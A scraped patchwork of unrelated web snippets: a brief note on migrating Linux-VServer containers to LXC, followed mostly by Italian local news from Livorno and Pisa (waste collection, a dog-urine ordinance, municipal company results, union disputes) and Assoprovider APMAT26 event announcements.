Tired of the nightmares of remotely compiling the kernel with Linux-VServer, a software that I'm pleased with despite of some lack of documentation, these days I was playing with LXC, which is included and supported by Slackware and for which the Linux kernel doesn't need any patching because it already embeds the hacks for LXC containers.
To convert an existing Linux-VServer container in a (eventually unprivileged) LXC container you can follow these steps. I assume that you already know how to create an LXC container; in case you are interested in unprivileged containers take a look to the excellent Chris Willing's guide (a big thanks to him) linked below.
Era ora che riuscissi a liberarmi della vecchia piattaforma Drupal come strumento per questo blog, ma finalmente ho trovato il tempo per migrare il database di Drupal e per riprendere qui la vecchia grafica (solo lo stile, il codice html è mio).
D'altronde, da almeno 15 anni porto avanti lo sviluppo di un mio CMS (basato su php/mariadb), che però originariamente non avevo usato per la mancanza del tempo necessario a costruirmi un tema html.
Ora il sito vive in ambiente Mobile Responsive e soprattutto mi consente di svincolarmi dagli incubi degli aggiormanti di Drupal e dei suoi pacchetti.
La parte sui commenti del presente CMS non è perfettamente collaudata e mi farebbe piacere avere eventualmente dei feedback su ogni problematica, quindi non esitate a scrivermi al riguardo.
Massive Christmas present by my italian friend Luca Franceschini of digitalmind. He merged his combo with my combined patch (2016.12.02 version) adding several (heavily customized) patches and functionalities. Luca is a C programmer and an expert system administrator who manages big servers.
AAMPS conferma che in occasione della festività di venerdì 22 maggio prossimo il servizio di raccolta dei rifiuti si svolgerà regolarmente. È previsto solo un cambiamento negli itinerari di interesse per gli abitanti dell’area Livorno Est.
Ecco il dettaglio suddiviso per Aree valido per la raccolta nel giorno di Santa Giulia:
Area Livorno Nord Il calendario ordinario non prevede il servizio di raccolta il venerdì.
Area Sant’Jacopo Marradi Carta-cartone: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).
Area Vittoria Stazione Zola Indifferenziato: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).
Area Livorno est Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).
Area Picchianti – Porta a Terra Il calendario ordinario non prevede il servizio di raccolta il venerdì.
Area Ardenza – La Rosa
Organico: servizio attivo la mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).
Livorno Sud Multimateriale: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).
Area Pentagono Carta-cartone: servizio attivo la sera (esposizione del materiale dalle ore 19.30 alle 20.00).
Tutti i contenitori stradali presenti nelle aree “Pentagono” e “Centro Allargato” saranno regolarmente vuotati.
Il Centro di raccolta “Livorno Sud” e il “Centro del riuso creativo” saranno chiusi venerdì e riapriranno il giorno seguente.
Ringraziamo i cittadini per la consueta collaborazione. Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).
Lunedì 18 lo sciopero delle lavoratrici e dei lavoratori degli asili nido ha registrato un’adesione altissima, portando alla chiusura di numerosi nidi e dimostrando con forza quanto fossero reali le criticità denunciate sul nuovo bando. La mobilitazione e la pressione esercitata in questi giorni hanno prodotto oggi, nell’incontro in Comune a Pisa, un primo risultato concreto: è stata formalizzata un’integrazione al bando che chiarisce finalmente il monte ore del servizio. Si passa ufficialmente da 241 ore + 8% a 260 ore + 8% di lavoro non frontale, riconoscendo una parte essenziale del lavoro educativo troppo spesso invisibilizzata e lasciata nell’incertezza. Un primo risultato importante, conquistato grazie alla lotta collettiva di lavoratrici e lavoratori. Ma la mobilitazione non finisce qui: continueremo a lottare per risolvere le criticità ancora presenti nel lavoro pubblico esternalizzato e per garantire diritti, dignità del lavoro e qualità dei servizi pubblici.
Comunicato a cura dell’uff. Stampa del Comune di Livorno.
Livorno, 19 maggio 2026 – Da domani, mercoledì 20 maggio, sarà in vigore a Livorno l’ordinanza che obbliga i proprietari e i detentori di cani a rimuovere con acqua le deiezioni liquide degli animali nelle aree pubbliche e di uso pubblico.
L’ordinanza, della quale ha parlato la stampa italiana e straniera, avrà una durata di cinque mesi e terminerà il 31 ottobre in vista poi di introdurre questo provvedimento all’interno di regolamento comunale che estenderà l’obbligo a tutto l’anno.
In pratica sarà obbligo munirsi di appositi contenitori d’acqua da utilizzare per l’immediata rimozione delle deiezioni liquide depositate su superfici pavimentate e su altri spazi di arredo urbano, e sui mezzi di locomozione (ad esempio ruote di macchine o di scooter) parcheggiati sulla pubblica via.
È inoltre fatto assoluto divieto di consentire ai cani di urinare a ridosso di portoni e vetrine ed accessi ad abitazioni, uffici e negozi.
Lo ha stabilito appunto l’Amministrazione comunale con l’ordinanza sindacale n. 135 del 28 aprile 2026, emanata a seguito delle numerose segnalazioni pervenute da parte di cittadini che evidenziano il disagio determinato dalle maleodoranze e gli inconvenienti igienico-sanitari derivanti dalla presenza di deiezioni liquide animali sugli spazi destinati alla socializzazione di adulti e bambini, visto anche il notevole e crescente numero di animali d’affezione, in particolare cani, presenti sul territorio comunale.
Il provvedimento è stato al centro di una conferenza stampa alla quale hanno partecipato: la vicesindaca con delega alla Tutela Animali Libera Camici, l’assessora con Delega al Decoro Urbano Giovanna Cepparello, la garante degli animali Elisa Amato, la dirigente del Settore Manutenzioni e Cura della Città Silvia Borgo, la dirigente settore Istruzione, Giovani, Partecipazione e Tutela Animale Michela Casarosa, la responsabile dei Servizi Territoriali della Polizia Municipale Michela Pedini, la funzionaria Barbara Saliva, il responsabile del Decoro Urbano di Aamps/Retiambiente Andrea Valenti, la guardia zoofila dell’Oipa Giuliano Morelli.
Per quanto riguarda le deiezioni solide, gli articoli 31 e 32 del vigente Regolamento Comunale sulla Tutela degli Animali (la cui ultima modifica risale al 2018) prescrivono l’obbligo di rimuoverle immediatamente a chi accompagna i cani nelle zone pedonali e nelle aree verdi, comprese quelle di libera circolazione dei cani, nei giardini e nei parchi, negli esercizi pubblici, commerciali e nei locali ed uffici aperti al pubblico, utilizzando mezzi idonei alla rimozione, da mostrare su richiesta del Pubblico Ufficiale, a pena di sanzione secondo quanto previsto dall’art. 42 dello stesso Regolamento.
Il Regolamento attuale non prevede però analoga norma per quanto attiene alle deiezioni liquide.
Nelle more di una modifica alla regolamentazione comunale vigente, l’ordinanza 135/2026 adotta misure atte a prevenire e contenere tali fenomeni, per tutto il periodo più critico dal punto di vista climatico. Il significativo aumento delle temperature che si verifica in primavera-estate, associato a una diminuzione delle precipitazioni, incide infatti anche sulla salubrità e sul decoro degli spazi urbani, anche in conseguenza della maggiore evaporazione di liquidi organici dalle superfici pavimentate.
Nello specifico, il testo integrale dell’ordinanza n. 135 impone, dal 20 maggio al 31 ottobre, a tutti i possessori o detentori a qualsiasi titolo di cani, anche se incaricati temporaneamente della loro custodia o conduzione:
• di munirsi, durante l’accompagnamento dei cani, di apposite bottigliette, spruzzatori o altri contenitori d’acqua, senza aggiunta di sostanze chimiche o detergenti, da versare all’occorrenza;
• di riversare una congrua quantità di acqua in corrispondenza del punto interessato dalle deiezioni liquide dei cani ai fini della loro diluizione e della ripulitura delle superfici interessate, su tutte le aree urbane pubbliche o ad uso pubblico e relativi manufatti e sulle aree private che si affacciano su aree pubbliche o ad uso pubblico, nonché sui mezzi di locomozione parcheggiati sulla pubblica via;
• è fatto divieto assoluto di consentire ai cani di urinare a ridosso dei portoni di ingresso e degli accessi ad abitazioni, uffici e negozi e vetrine.
L’inosservanza di queste disposizioni comporta l’applicazione di una sanzione amministrativa pecuniaria da 25 a 500 euro, ai sensi dell’art. 7-bis del D. Lgs. 267/2000.
Rimane comunque a carico del trasgressore il ripristino dei luoghi.
Gli interventi
La Vicesindaca ha introdotto l’ordinanza sottolineando la sua grande risonanza mediatica, anche a livello internazionale.
“Lo scopo principale non è punitivo, ma mira a elevare lo standard di igiene e decoro delle strade, dei marciapiedi e degli arredi urbani. Livorno conta circa 20.000 cani, un numero consistente che richiede responsabilità da parte dei proprietari per garantire una convivenza civile. La mancanza di rispetto delle regole da parte di una minoranza danneggia il lavoro degli operatori, dei proprietari responsabili e limita la fruibilità degli spazi pubblici, come i parchi, specialmente per i bambini”.
La Vicesindaca ha inoltre ricordato che l’Amministrazione ha rimosso i divieti di accesso ai cani in molti parchi per favorire le famiglie, ma avverte che, “se le segnalazioni di sporcizia e cani senza guinzaglio continueranno, potrebbero essere reintrodotte limitazioni”.
Ha inoltre ricordato il protocollo d’intesa con le guardie zoofile dell’OIPA, che hanno il potere di elevare sanzioni insieme alla Polizia Locale.
L’Assessora Cepparello ha parlato degli aspetti pratici e sociali del provvedimento sottolineando come l’ordinanza nasca anche per tutelare le persone con disabilità motoria, che spesso sporcano i propri ausili (sedie a rotelle) sui marciapiedi non puliti, portando poi lo sporco in casa. “I proprietari dei cani devono munirsi di bottigliette o spruzzatori con semplice acqua (senza sapone) da usare sui punti interessati dalle deiezioni liquide”. Ha ricordato il divieto assoluto di far urinare i cani ridosso di portoni, accessi ad abitazioni. “Si è optato per un’ordinanza, per agire tempestivamente prima dell’estate, quando il calore accentua i cattivi odori. L’ordinanza prevede una scadenza, ma recepiremo questo provvedimento all’interno di un regolamento in modo che l’obbligo delle bottigliette diventi permanente in tutte le stagioni e i mesi dell’anno. Il Comune non può lavare quotidianamente centinaia di chilometri di strade e la collaborazione dei cittadini è strategica”.
La Garante degli Animali ha posto l’accento sulla salute pubblica e sulla sicurezza nei parchi. Ha evidenziato che le deiezioni non raccolte contengono batteri e parassiti pericolosi per gli animali e soprattutto per i bambini che giocano nei prati. Ha citato situazioni di particolare degrado riscontrate nella zona di San Jacopo e vicino alla Baracchina Bianca, “dove i muri sono sporchi e i marciapiedi pieni di deiezioni solide”. Ha richiamato l’obbligo del guinzaglio nei luoghi pubblici, denunciando episodi di maleducazione subiti quando ha cercato di far rispettare questa norma. Infine ha esortato i cittadini a un maggiore rispetto per l’ambiente e per la città, sottolineando che il decoro urbano è un dovere di ogni proprietario.
Andrea Valenti, responsabile Decoro Urbano AAMPS/Retiambiente ha affermato: “Aamps si muove su due versanti: pulizia e sensibilizzazione al cittadino. In entrambi i casi abbiamo favorito un potenziamento dei servizi, pertanto forniamo un contributo determinante alla cura della città anche per contrastare il fenomeno dell’abbandono delle deiezioni canine. Siamo anche prossimi all’acquisto di 100 contenitori dedicati che avranno una bocca di ingresso dei sacchini molto piccola e, pertanto, non potranno essere utilizzati impropriamente per l’inserimento di sacchi invece destinati alla raccolta dei rifiuti. Nel mese di giugno provvederemo all’installazione presso le aree di sgambatura dei cani, i parchi pubblici e nelle zone che, dalle segnalazioni pervenute, risultano più soggetto a questa tipologia di abbandono”.
Comunicato a cura dell’uff. Stampa del Comune di Livorno.
Raggiunge i 208 milioni il valore totale della
produzione
Livorno, 18 maggio 2021 – Negli ultimi anni le società partecipate del Comune
di Livorno hanno consolidato risultati positivi sotto il profilo economico,
gestionale e della qualità dei servizi erogati ai cittadini, confermando il valore
strategico del sistema pubblico locale e la capacità delle aziende di affrontare le
sfide dell’innovazione, della sostenibilità e dell’efficienza amministrativa.
Il quadro che emerge dai bilanci evidenzia una crescita costante della solidità
patrimoniale e organizzativa di realtà fondamentali per il territorio come
Esteem Srl, Casalp Spa, AAMPS Spa, Farma.Li Srl e ASA Spa. I bilanci 2025,
alcuni dei quali in corso di approvazione in questi giorni ed entro il 30 giugno,
come previsto dal Codice Civile, non fanno eccezione, ma anzi confermano
questo trend positivo.
In particolare, AAMPS Spa ha registrato bilanci in utile negli ultimi cinque
esercizi, confermando il raggiungimento di un equilibrio economico e
finanziario stabile dopo il percorso di risanamento completato negli anni
precedenti.
Anche Casalp Spa ha dimostrato un consolidamento del ruolo operativo svolto
per i Comuni dell’area livornese ed in particolare si è distinta in questi anni per
le azioni di recupero delle morosità e per la capacità di guidare, su un tema
complesso ed attuale come quello dell’abitare, politiche finalizzate a gestire un
ambito che è sempre più lontano dalla gestione patrimoniale e sempre più
vicino a quello sociale.
Positivi anche i segnali provenienti da ASA Spa, che continua a rappresentare
un presidio essenziale per lo sviluppo infrastrutturale e ambientale del
territorio, mantenendo elevati standard di servizio e una struttura societaria
solida.
Crescita significativa anche per Esteem Srl, realtà attiva nei servizi informatici,
nel supporto alla gestione dei tributi comunali e nella gestione della sosta a
pagamento, che negli ultimi esercizi ha registrato un incremento del fatturato e
dell’occupazione, rafforzando il proprio ruolo di supporto tecnologico alla
pubblica amministrazione locale, confermando di essere una struttura in
espansione e capace di innovare i servizi digitali rivolti ai cittadini.
Importanti risultati sono stati raggiunti inoltre da Farma.Li Srl, con i propri
bilanci che negli ultimi anni evidenziano una gestione economica positiva e un
progressivo rafforzamento della capacità finanziaria dell’azienda. Farma.Li ha
proseguito il percorso di ammodernamento delle farmacie comunali, puntando
sulla qualità dell’assistenza, sulla prossimità territoriale e sull’innovazione dei
servizi sanitari e socioassistenziali.
Nel complesso, il sistema delle partecipate del Comune di Livorno conferma
dunque una traiettoria positiva, caratterizzata da investimenti, equilibrio
economico e miglioramento della qualità dei servizi pubblici locali. Un
patrimonio amministrativo e industriale che rappresenta un elemento
strategico per la crescita della città, per la tutela dell’interesse pubblico e per la
capacità del territorio di affrontare con solidità le sfide future.
Il sindaco Luca Salvetti ha aperto l’incontro sottolineando come le società
partecipate siano uno strumento imprescindibile per la gestione della città e dei
servizi ai cittadini. “Abbiamo lavorato sette anni sulla riorganizzazione e
l’aumento del personale, presentando numeri eloquenti, lo dimostrano i bilanci
in utile. Tutte e cinque le società principali (ASA, AMS, Farmali, Casalp e
Steam) hanno chiuso l’anno in positivo.
Il valore complessivo della produzione è di 208 milioni di euro, con un
incremento di 29 milioni rispetto al 2019.
Le aziende hanno raggiunto quota 1143 di personale con un aumento di 193
unità rispetto al 2019, diventando la terza realtà lavorativa del territorio dopo
l’ASL e il Comune stesso”.
L’Assessora al Bilancio con delega alle Società Partecipate Viola Ferroni ha
ringraziato l’Ufficio Società Partecipate, che ha definito la “spina dorsale” dei
risultati ottenuti. “Ribadisco l’importanza della governance pubblica per
perseguire obiettivi di interesse collettivo, andando oltre il semplice dato di
bilancio. Farmali ha concentrato il focus sulla vicinanza ai cittadini ed alla
ristrutturazione delle farmacie. Casalp ha ottenuto buoni risultati nel recupero
crediti e nell’efficientamento degli alloggi. Esteem ha incrementato i servizi,
inclusa la recente gestione della sosta a pagamento. Aamps ha raggiunto la
stabilità dopo un passato complicato che ha fatto “tribolare”
l’Amministrazione”.
Il direttore generale del Comune Nicola Falleni ha evidenziato il superamento
delle storiche criticità finanziarie delle partecipate: “che in passato
rappresentavano un “neo” nel bilancio comunale” ed ha fornito i dati del
bilancio consolidato 2024.
“Il “gruppo” (Comune + aziende) conta oltre 2.200 dipendenti. Valore della
produzione totale: quasi 570 milioni di euro. Utile consolidato: circa 14 milioni
di euro. Patrimonio netto: 763 milioni di euro”.
Aldo Iacomelli, Amministratore Unico AAMPS/Retiambiente ha dichiarato:
“Presenti e affidabili: con questi due aggettivi e in estrema sintesi sono nella
possibilità di descrivere la nostra azienda nel panorama delle municipalizzate
locali. Ogni giorno contribuiamo al decoro urbano con grande impegno e sforzo
da parte dei nostri operatori garantendo l’erogazione di servizi efficienti fin
dalle primissime ore della mattina sia sul versante della raccolta sia su quello
dello spazzamento. É importante sottolineare che per l’anno 2025 ci avvaliamo
di un utile di bilancio di 252mila euro. Un risultato che reputiamo importante
da affiancare all’evidenza di non avere registrato debiti. Siamo quindi orgogliosi
per quanto stiamo riuscendo complessivamente a fare, con uno sguardo di
ulteriore fiducia anche sul versante operativo essendo prossimi a realizzare,
avvalendoci anche di finanziamenti da parte della Regione Toscana, di due
ulteriori centri di raccolta per il corretto conferimento dei rifiuti dei cittadini. A
breve lanceremo anche una campagna di comunicazione rivolta a tutta la
cittadinanza per stringere ulteriormente il patto con i cittadini nel contrastare il
fenomeno degli abbandoni e aumentare le migliori azioni per la riduzione nella
produzione dei rifiuti indifferenziati, per la quale stiamo già registrando risultati
lusinghieri”.
Claudio Puccetti, amministratore unico di Farmali ha definito l’azienda con gli
aggettivi “tranquillo” e “partecipativo”.
Ha sottolinea il buon clima lavorativo tra i 60 dipendenti distribuiti su 9
farmacie. Ha messo in risalto la totale autonomia finanziaria della società, “che
permette di autofinanziare gli investimenti (come le ristrutturazioni di varie
farmacie) senza ricorrere a finanziamenti esterni.L’obiettivo futuro è spostare
la missione del farmacista sempre più verso i servizi di telemedicina”.
Marcello Canovaro presidente di Casalp ha utilizzato gli aggettivi “rigoroso” e
“partecipato” per definire il bilancio della società.
“La società ha superato pesanti difficoltà iniziate nel 2019 e ora chiude il
bilancio in positivo. Casalp non punta all’utile, ma a reinvestire ogni risorsa nel
mantenimento del patrimonio e in nuovi edifici.
Negli ultimi tre anni sono stati investiti oltre 50 milioni di euro nella provincia e
messi a disposizione degli assegnatari 592 appartamenti precedentemente
sfitti”.
Stefano Taddia presidente di Asa sceglie gli aggettivi “collettivo” e “sostenibile”.
Esprime orgoglio per i 56,7 milioni di euro di investimenti effettuati nell’ultimo
anno, segnando un +150% rispetto al 2020.
Sottolinea come l’efficienza delle società di servizio pubblico sia un elemento
fondamentale per la sostenibilità e il benessere del territorio.
Antonio Paladini amministratore unico di Esteem descrive l’azienda come
“consolidata” e “visionaria”.
Riporta una crescita enorme negli ultimi 12 anni: “il personale è passato da 9 a
40 dipendenti e il fatturato è salito da circa 450.000 euro a quasi 2 milioni di
euro. L’azienda si è evoluta accettando servizi nuovi e diversi, come la gestione
dei parcheggi, mantenendo però un’anima orientata all’innovazione informatica
per il futuro dei servizi ai cittadini”.
Il Sindaco ha concluso la conferenza stampa ringraziando gli Uffici Comunali e i
due assessori che si sono succeduti nella gestione delle partecipate, Gianfranco Simoncini e Viola Ferroni.
Le Organizzazioni Sindacali USB Livorno e COBAS Lavoro Privato Livorno denunciano un fatto che ritengono estremamente grave, verificatosi in data 12 maggio 2026, presso la sede dell’Ispettorato Territoriale del Lavoro di Livorno, durante un tentativo di conciliazione tra la Cooperativa COOPLAT e cinque lavoratrici impiegate nell’appalto della committenza Unicoop Firenze presso il cantiere Fonti del Corallo – Via Gino Graziani - Livorno.
Il tentativo di conciliazione era stato richiesto dall’Organizzazione Sindacale al fine di sanare una situazione di applicazione irregolare dei turni che si protrae nel cantiere da anni, nonché per ottenere la regolarizzazione degli orari e la corretta applicazione del contratto di lavoro in essere. Nel corso dell’ultimo dei tre incontri svolti presso l’ITL, la cooperativa ha presentato nuove proposte di variazione oraria che le lavoratrici, con il supporto delle OO.SS., hanno valutato come difficilmente accettabili, poiché relative a turni residuali rispetto a fasce orarie già assegnate ad altre lavoratrici che, a seguito del cambio di committenza, avevano prontamente sottoscritto le variazioni proposte dall’azienda. Tali modifiche, di fatto, formalizzavano orari già praticati senza alcuna regolarità rispetto ai contratti in essere, che peraltro non prevedono clausole elastiche o flessibili. Durante l’ultimo incontro, a fronte della decisione di una lavoratrice di non sottoscrivere una proposta ritenuta peggiorativa rispetto alle condizioni del contratto vigente, la rappresentante legale della cooperativa si è espressa in modo non esplicito ma chiaramente udibile, chiedendo al responsabile delle risorse umane di attivare il licenziamento. Un’ipotesi già ventilata nei precedenti incontri e ormai diffusamente percepita nel cantiere tra le lavoratrici. Riteniamo l'accaduto di una gravità inaudita e inaccettabile, resa ancor più intollerabile dal fatto di essersi verificato, sfacciatamente, all'interno di una sede istituzionale, in violazione di ogni principio di lealtà e correttezza. Le rappresentanti sindacali presenti e la legale di riferimento non hanno ritenuto possibile far sottoscrivere alla lavoratrice alcun accordo né proseguire la discussione sulle ulteriori proposte, poiché la procedura non appariva genuina né realmente tutelante. La mancata accettazione della variazione oraria esponeva concretamente le lavoratrici al rischio di licenziamento, in un contesto caratterizzato da un’elevata discrezionalità aziendale, con possibili profili discriminatori legati all’essere o meno socia della cooperativa e a valutazioni puramente soggettive sul comportamento delle lavoratrici, considerate più o meno “compiacenti” nei confronti di responsabili e dirigenti. Il tentativo di conciliazione si è ovviamente concluso con esito negativo. Le Organizzazioni Sindacali si riservano pertanto di attivare tutti gli strumenti sindacali a propria disposizione per rivendicare la tutela dei diritti delle lavoratrici e chiedono alla committenza di vigilare sull’appalto, assumendo una posizione chiara rispetto a comportamenti che ledono la qualità del lavoro e la dignità delle lavoratrici, molte delle quali operano da anni alle dipendenze della cooperativa anche in qualità di socie lavoratrici.
Unicoop Firenze, peraltro, è già stata più volte chiamata in causa e sollecitata a intervenire e a esprimersi nell’ambito di questo conflitto, sia indirettamente da COOPLAT, che ha ripetutamente dichiarato la necessità di modificare i turni per richieste ed esigenze della committenza stessa, sia direttamente dai sindacati, che hanno provveduto a informarla delle criticità emerse e delle conseguenze che tali scelte stanno producendo sulle condizioni di lavoro delle lavoratrici coinvolte, richiedendo inoltre un incontro finalizzato ad aprire un confronto congiunto sulla gestione dell’appalto e delle condizioni di lavoro nel cantiere di Porta a Terra.
Riteniamo inaccettabile quanto accaduto e lesivo del ruolo e della funzione di una sede istituzionale nella quale la mediazione è finalizzata a garantire tutela ed equilibrio tra tutte le parti coinvolte. Chiediamo il rispetto delle sedi, dei ruoli e di relazioni sindacali improntate alla correttezza, nelle quali non può trovare spazio alcuna forma, esplicita o velata, di minaccia di licenziamento nei confronti di chi non intenda sottoscrivere u
na proposta aziendale ritenuta peggiorativa rispetto alle condizioni precedenti, soprattutto nel momento in cui viene richiesto il rispetto del contratto. Nessuna lavoratrice può essere lasciata indietro!
Vincenzo Gallotto sarà tra i relatori di APMAT2026, l’evento nazionale di Assoprovider in programma il 5 giugno 2026 a Matera, presso Casa Cava. Avvocato, Data Protection Officer, consulente legale di Assoprovider e Responsabile delle liste AP-LEGAL e AP-CHATLEGAL, Gallotto interverrà sul tema “NIS2 – opportunità e percorso di adeguamento per gli operatori”. La Direttiva NIS2, […]
Domenica 15 marzo 2026 Wu Ming 4 ha tenuto una conferenza nella Celletta Zampeschi di Santarcangelo di Romagna, già sede della società di mutuo soccorso operaio, su invito della neonata associazione tolkieniana Valmar. Il tema, di cui WM4 si è occupato a lungo, era "Tolkien: necessità e critica della guerra". L'intervento è stato accompagnato dalle musiche eseguite al pianoforte dal maestro Mattia Guerra e ha avuto, come si dice, una coda lunga di domande e risposte.
Terra Infecta di Andrea Bagnato (Mack, 2026) è una controstoria dei paesaggi urbani e rurali italiani. Ricostruisce la distruzione delle zone umide venete, le politiche di «risanamento» urbano e spostamenti di popolazione a Napoli e Materia, e il periodo del confinamento in Lombardia durante la pandemia di Covid. Il libro è al tempo stesso una critica dell'igiene come dispositivo di controllo e una raccolta di momenti rivelatori di comunità, guarigione e resistenza.
Il 27 aprile 2026 Bagnato ha presentato Terra Infecta alla libreria Modo Infoshop di Bologna, affiancato da Chiara Davino, architetta e ricercatrice all'Università di Bologna, e Wu Ming 1. Buon ascolto.
APMAT26 rafforza il dialogo tra operatori indipendenti a livello europeo. Tra i protagonisti dell’evento nazionale di Assoprovider ci sarà anche AOTEC, l’associazione spagnola degli operatori locali TLC, punto di riferimento nel panorama europeo delle reti indipendenti. AOTEC riunisce imprese che, come molti associati Assoprovider, portano connettività, fibra, servizi digitali e innovazione nei territori, spesso dove […]
APMAT26 amplia il confronto tra operatori e produttori di tecnologia. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche Tenda, realtà internazionale specializzata nello sviluppo e nella distribuzione di soluzioni per il networking. L’azienda propone un’offerta completa che include router Wi-Fi, sistemi mesh, switch, gateway, soluzioni per reti business ed enterprise wireless, CPE, base […]
APMAT26 rafforza il suo respiro internazionale. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche ALEA Soluciones, realtà spagnola specializzata nello sviluppo di soluzioni tecnologiche per operatori TLC, con una lunga esperienza a supporto di ISP, WISP e operatori locali. La presenza di ALEA contribuirà ad arricchire il confronto tra operatori indipendenti italiani ed […]
APMAT26 continua il suo percorso insieme alle realtà che negli anni hanno accompagnato la crescita della community degli operatori di prossimità. Tra gli sponsor dell’edizione 2026 ci sarà anche SICE Telecom, azienda storica del settore TLC specializzata in soluzioni wireless, ponti radio, infrastrutture per WISP e ISP e distribuzione di tecnologie per reti professionali. Da […]
APMAT26 continua a costruire connessioni tra operatori, tecnologie e visioni europee. Tra gli sponsor dell’edizione 2026 ci sarà anche Vayu, realtà italiana specializzata nello sviluppo di software e servizi di consulenza per ISP e WISP, con soluzioni dedicate agli operatori wired e wireless. Un’azienda che negli anni ha sviluppato un approccio fortemente orientato alle esigenze […]
APMAT26 ospiterà l’intervento dell’On. Enzo Amich, Deputato della Repubblica, membro della IX Commissione Trasporti, Poste e Telecomunicazioni della Camera dei Deputati e Presidente dell’Intergruppo parlamentare “Sostenibilità Digitale e Sovranità Tecnologica”. La sua partecipazione assume per Assoprovider un valore particolarmente significativo, perché rafforza un dialogo istituzionale aperto da tempo sui temi delle telecomunicazioni, delle infrastrutture digitali […]
APMAT26 ospiterà l’intervento di Gonzalo Elguezabal Ayala, rappresentante di AOTEC, l’associazione spagnola degli operatori locali di telecomunicazioni. La presenza di AOTEC rappresenta uno dei passaggi più significativi dell’edizione 2026: per la prima volta, il confronto promosso da Assoprovider si apre in modo strutturato al dialogo con una realtà associativa europea molto vicina all’esperienza degli Operatori […]
APMAT26 ospiterà l’intervento di José Carlos Oya Ortega, CEO di 7Play, che porterà all’evento la propria esperienza diretta come Operatore di Prossimità nel mercato spagnolo delle telecomunicazioni. La sua presenza rappresenta un’occasione importante per rafforzare il confronto tra operatori italiani e spagnoli, mettendo al centro esperienze concrete, modelli di crescita, strategie commerciali e sfide operative […]
APMAT26 ospiterà l’intervento di Pere Antentas Costa, CEO di Rede Aberta, una delle realtà più interessanti del panorama spagnolo delle telecomunicazioni territoriali. La sua presenza arricchirà il confronto internazionale dell’evento, offrendo agli Operatori di Prossimità italiani l’opportunità di conoscere da vicino un modello di sviluppo fondato su fibra ottica, accesso aperto, copertura delle aree rurali […]
APMAT26 vedrà la partecipazione di Antonio Prado, Consulente Tecnico di Assoprovider e figura di riferimento nel panorama italiano delle reti e delle infrastrutture Internet. Dottore di ricerca in Computer Science, con un Master universitario di II livello in Innovazione nella Pubblica Amministrazione, Antonio Prado è ricercatore esterno presso il Dipartimento di Ingegneria dell’Informazione dell’Università di […]
APMAT26 ospiterà l’intervento di Livio Morina, Presidente di PeeringDB e professionista con una lunga esperienza nel mondo delle reti, dell’interconnessione e delle infrastrutture Internet. La sua presenza porterà all’evento un contributo tecnico di grande valore su temi molto concreti per gli Operatori di Prossimità: AS Number, peering, interconnessione, aggiornamento dei dati di rete, visibilità internazionale […]
Sabato 16 Maggio VolontréCanzoni d’amore e libertà ore 21:30 concerto di presentazione del discodalle ore 20 aperitivo Nel giardino della Biblioteca del Circolo “E. Malatesta”presso la FAL, in via degli Asili 33 Siamo felici di ospitare la presentazione di Canzoni d’amore e libertà è il nuovo disco dei Volontré, in uscita a maggio 2026. Le […]
7 MAGGIO 1972 – 7 MAGGIO 2026 A Cinquantaquattro anni dall’assassinio del compagno Franco Serantini “ANARCHICO VENTENNE COLPITO A MORTE DALLA POLIZIA MENTRE SI OPPONEVA AD UN COMIZIO FASCISTA” GIOVEDÌ 7 MAGGIO ORE 18 IN PIAZZA SERANTINI (S. Silvestro)
Il 7 maggio lavoratrici e lavoratori della scuola incroceranno le braccia insieme a studentesse e studenti, con manifestazioni territoriali in decine di città. L'appuntamento a Roma è alle ore 9:00 al MIM in viale Trastevere.
Lo sciopero, proclamato anche per il 6 maggio per garantire la massima copertura al personale, chiama al boicottaggio delle prove INVALSI e raccoglie l'invito alla mobilitazione dell'assemblea internazionale giovanile We do not enlist. Scioperiamo contro la militarizzazione della scuola e della società, contro la leva obbligatoria, contro la riforma degli istituti tecnici e professionali che consegna la formazione delle classi popolari direttamente nelle mani delle imprese, contro le nuove linee guida dei licei e contro un rinnovo contrattuale che propone salari vergognosi mentre l'inflazione cresce, trascinata dai costi di guerre che non abbiamo voluto e non vogliamo. La scuola di Valditara non è la nostra. Le sue politiche reazionarie, classiste, repressive e di militarizzazione sono nemiche di studenti e lavoratori. Riprendiamoci spazi di democrazia e di organizzazione politica e sociale a partire dalle scuole, lottiamo per una scuola statale al servizio di chi la fa e la vive. Cancelliamo quasi quarant'anni di controriforme. Né "capitale umano" né manodopera ideologizzata! Scioperiamo perché la scuola non deve essere ridotta a produttrice di "capitale umano" da immettere sul mercato del lavoro secondo le logiche della competitività e del profitto. Rifiutiamo la retorica delle competenze, strumento ideologico con cui si svuotano i saperi critici e si addestrano menti flessibili, adattabili, sfruttabili. Rifiutiamo ancora una volta la formazione scuola-lavoro, sfruttamento di lavoro minorile travestito da esperienza formativa, che è già costata la vita a troppi giovani. In questo quadro si innesta la riforma degli istituti tecnici e professionali. I nuovi percorsi 4+2 e i nuovi quadri orari piegano i programmi alle esigenze produttive dei territori, erodono la formazione generale e critica, e avviano gli studenti delle classi popolari – quelli che storicamente frequentano i tecnici e i professionali – a diventare manodopera qualificata su misura per il distretto industriale di turno. Non è orientamento, è selezione di classe. Non è innovazione didattica, è privatizzazione strisciante del sapere. Le nuove Indicazioni per i Licei: l'altra faccia dello stesso progetto classista. Mentre i tecnici e i professionali vengono consegnati alle imprese, il 22 aprile il ministero ha pubblicato il testo delle nuove Indicazioni Nazionali per i Licei: l'altra metà del disegno. Non un'operazione separata, ma il complemento ideologico della stessa controriforma. Ai figli delle classi popolari avviati nei "licei agrari", "chimici" o "tessili" – la trovata semantica con cui Valditara annuncia di voler smantellare la distinzione formale tra licei e tecnici – si vuole consegnare la formazione professionalizzante; ai licei tradizionali, frequentati in gran parte dalla borghesia e dai ceti medi, si destina invece la costruzione di una "coscienza" identitaria dichiaratamente eurocentrica e nazionalista. La centralità della storia dell'Italia e dell'Occidente, la soppressione della geostoria, la ridefinizione dell'inclusione come "architrave della cultura occidentale moderna": non sono scelte didattiche 